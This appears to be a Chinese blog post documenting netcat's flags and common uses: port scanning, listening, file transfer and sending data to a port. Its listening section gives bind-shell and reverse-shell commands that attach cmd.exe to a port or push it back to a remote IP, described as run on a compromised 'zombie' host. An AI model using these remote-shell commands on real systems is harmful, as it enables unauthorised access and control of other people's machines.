关闭

NC的使用

标签: tcpc
881人阅读 评论(0) 收藏 举报
NC的使用

参数:

-e prog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 任意指定本地及远程端口

-s addr 本地源地址

-u UDP模式(TCP模式)

-v 详细输出——用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉——用于扫描时

NC 常用的命令格式 :

1.扫描器功能: 

nc -vv ip port (单IP单端口的扫描格式)
nc -vv ip port-port(单IP多端口的扫描格式)
ctrl+c停止扫描(中断会话)
参数解释:
port:端口
-v:显示详细过程
-vv:显示非常详细的过程

2.监听功能

nc -l -p port
nc -l -p port > e:/log.txt
nc -v -l -p port
nc -vv -l -p port                  //通常用这条命令
nc -vv -t -l -p port -e cmd.exe   //把本地的cmd.exe定向到我们的定义的port(端口)上
nc -vv -e cmd.exe ip地址 端口     //反向连接   (本地执行监听命令,肉鸡执行反向连接命令)

参数解释:

-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息
-t: 以telnet的方式应答

3.传送文件功能: 

nc -v -n ip port < x:/1.txt(本地机器运行)
nc -v -l -p port > y:/2.txt(对方机器运行)

参数解释:

-n:指定的IP地址
这两个命令结合起来是用来传送文件的
首先,在远程机上运行命令:
nc -v -l -p 99 > e:/2.txt
监听本地的99端口,如果99端口接受到信息,就发送到e:/,名字为2.txt保存!
这时候在本地机上运行
nc -v -n ip 99 < e:/cmdtools/2.txt
这个命令的意思就是,从本地E盘cmdtools目录中读取2.txt文件的内容,并把这些数据发送到指定IP的99端口上

注意:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe . 

4、 端口数据发包和抓包. 

nc -vv -l -p port

nc ip(或者域名) port <1.txt         将1.txt发送到指定IP的端口上

0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:144763次
    • 积分:1854
    • 等级:
    • 排名:千里之外
    • 原创:40篇
    • 转载:62篇
    • 译文:0篇
    • 评论:13条
    最新评论